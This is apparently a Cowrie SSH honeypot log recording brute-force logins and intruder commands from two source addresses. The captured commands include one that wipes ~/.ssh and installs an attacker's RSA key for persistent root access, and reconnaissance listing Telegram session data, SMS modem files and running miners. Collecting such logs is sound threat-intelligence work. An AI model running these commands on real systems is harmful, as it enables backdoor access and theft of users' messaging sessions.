{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":59278,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7740cb90c2e","protocol":"ssh","message":"New connection: 68.233.116.124:59278 (159.203.135.109:22) [session: f7740cb90c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:19.440258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:19.444902Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:19.670084Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cloud1234","message":"login attempt [root/cloud1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:20.604319Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:21.095725Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:21.098991Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:21.102444Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:21.330842Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:21.806230Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:21.809208Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:22.042728Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:22.046781Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":59950,"dst_ip":"159.203.135.109","dst_port":22,"session":"436a9bc9c6bf","protocol":"ssh","message":"New connection: 68.233.116.124:59950 (159.203.135.109:22) [session: 436a9bc9c6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:22.242781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:22.247692Z","src_ip":"68.233.116.124","session":"436a9bc9c6bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:22.465734Z","src_ip":"68.233.116.124","session":"436a9bc9c6bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:23.371382Z","src_ip":"68.233.116.124","session":"436a9bc9c6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:24.592386Z","src_ip":"68.233.116.124","session":"436a9bc9c6bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":60756,"dst_ip":"159.203.135.109","dst_port":22,"session":"185c4bc297bb","protocol":"ssh","message":"New connection: 68.233.116.124:60756 (159.203.135.109:22) [session: 185c4bc297bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:24.825219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:24.828936Z","src_ip":"68.233.116.124","session":"185c4bc297bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:25.057304Z","src_ip":"68.233.116.124","session":"185c4bc297bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:26.007488Z","src_ip":"68.233.116.124","session":"185c4bc297bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:26.239350Z","src_ip":"68.233.116.124","session":"185c4bc297bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:26.246811Z","src_ip":"68.233.116.124","session":"f7740cb90c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.157.205.238","src_port":40022,"dst_ip":"10.17.0.5","dst_port":22,"session":"dec38b32beae","protocol":"ssh","message":"New connection: 218.157.205.238:40022 (10.17.0.5:22) [session: dec38b32beae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:26.493492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:26.498534Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:26.697513Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:27.688407Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:28.890797Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:29.322215Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:29.325342Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:29.327426Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:29.529005Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:29.958050Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:29.961241Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":906,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:30.160941Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:30.591814Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:30.594505Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:30.794415Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:31.218526Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:31.222378Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:31.424105Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:31.858324Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:31.861662Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:32.061809Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:32.489429Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:32.492640Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:32.693741Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:33.174410Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:33.177416Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:33.378855Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:33.806057Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:33.808979Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:34.062496Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
